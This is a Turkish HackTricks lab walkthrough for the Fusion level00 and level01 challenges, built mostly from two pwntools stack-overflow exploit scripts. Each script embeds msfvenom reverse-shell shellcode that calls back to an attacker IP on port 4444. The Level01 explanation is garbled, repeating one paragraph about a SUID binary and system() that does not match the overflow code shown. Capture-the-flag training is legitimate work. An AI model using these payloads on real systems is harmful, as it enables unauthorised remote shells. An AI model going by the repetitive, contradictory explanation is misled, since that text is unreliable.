8 KiB
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Level00
http://exploit-exercises.lains.space/fusion/level00/
- EIP'yi değiştirmek için ofset alın
- EIP'ye shellcode adresini yerleştirin
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
Seviye01
Açıklama
Bu seviyede, fusion
adlı bir SUID dosyasını hedef alacağız. Bu dosya, level01
kullanıcısının yetkileriyle çalıştırıldığında level02
kullanıcısının yetkilerine sahip olacak şekilde ayarlanmıştır. Amacımız, level02
kullanıcısının yetkilerini elde etmek için fusion
dosyasını kullanmaktır.
Saldırı Yöntemi
-
İlk adım olarak,
fusion
dosyasının SUID özelliğini kontrol edin. SUID özelliği, bir dosyanın sahibi tarafından belirlenen kullanıcının yetkileriyle çalıştırıldığında, dosyanın geçici olarak sahibinin yetkilerine sahip olmasını sağlar. Bu durumda,fusion
dosyasılevel02
kullanıcısının yetkilerine sahip olacak şekilde ayarlanmıştır. -
fusion
dosyasını çalıştıraraklevel02
kullanıcısının yetkilerini elde edin. Bu dosya, bir argüman olarak aldığı metni birleştirir ve ardındansystem()
fonksiyonunu kullanarak bu metni bir komut olarak çalıştırır. Bu nedenle,fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamamız gerekmektedir. -
fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamak için, bir komutu çalıştıracak olan metni birleştirmemiz gerekmektedir. Bu metni birleştirirken,level02
kullanıcısının yetkilerini elde etmek için bir komut eklememiz gerekmektedir. -
fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamak için, bir komutu çalıştıracak olan metni birleştirmemiz gerekmektedir. Bu metni birleştirirken,level02
kullanıcısının yetkilerini elde etmek için bir komut eklememiz gerekmektedir. -
fusion
dosyasını çalıştıraraklevel02
kullanıcısının yetkilerini elde edin. Bu dosya, bir argüman olarak aldığı metni birleştirir ve ardındansystem()
fonksiyonunu kullanarak bu metni bir komut olarak çalıştırır. Bu nedenle,fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamamız gerekmektedir. -
fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamak için, bir komutu çalıştıracak olan metni birleştirmemiz gerekmektedir. Bu metni birleştirirken,level02
kullanıcısının yetkilerini elde etmek için bir komut eklememiz gerekmektedir. -
fusion
dosyasını çalıştıraraklevel02
kullanıcısının yetkilerini elde edin. Bu dosya, bir argüman olarak aldığı metni birleştirir ve ardındansystem()
fonksiyonunu kullanarak bu metni bir komut olarak çalıştırır. Bu nedenle,fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamamız gerekmektedir. -
fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamak için, bir komutu çalıştıracak olan metni birleştirmemiz gerekmektedir. Bu metni birleştirirken,level02
kullanıcısının yetkilerini elde etmek için bir komut eklememiz gerekmektedir. -
fusion
dosyasını çalıştıraraklevel02
kullanıcısının yetkilerini elde edin. Bu dosya, bir argüman olarak aldığı metni birleştirir ve ardındansystem()
fonksiyonunu kullanarak bu metni bir komut olarak çalıştırır. Bu nedenle,fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamamız gerekmektedir. -
fusion
dosyasını çalıştırırken, bir komutu çalıştırmak için bir argüman sağlamak için, bir komutu çalıştıracak olan metni birleştirmemiz gerekmektedir. Bu metni birleştirirken,level02
kullanıcısının yetkilerini elde etmek için bir komut eklememiz gerekmektedir.
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına pull request göndererek paylaşın.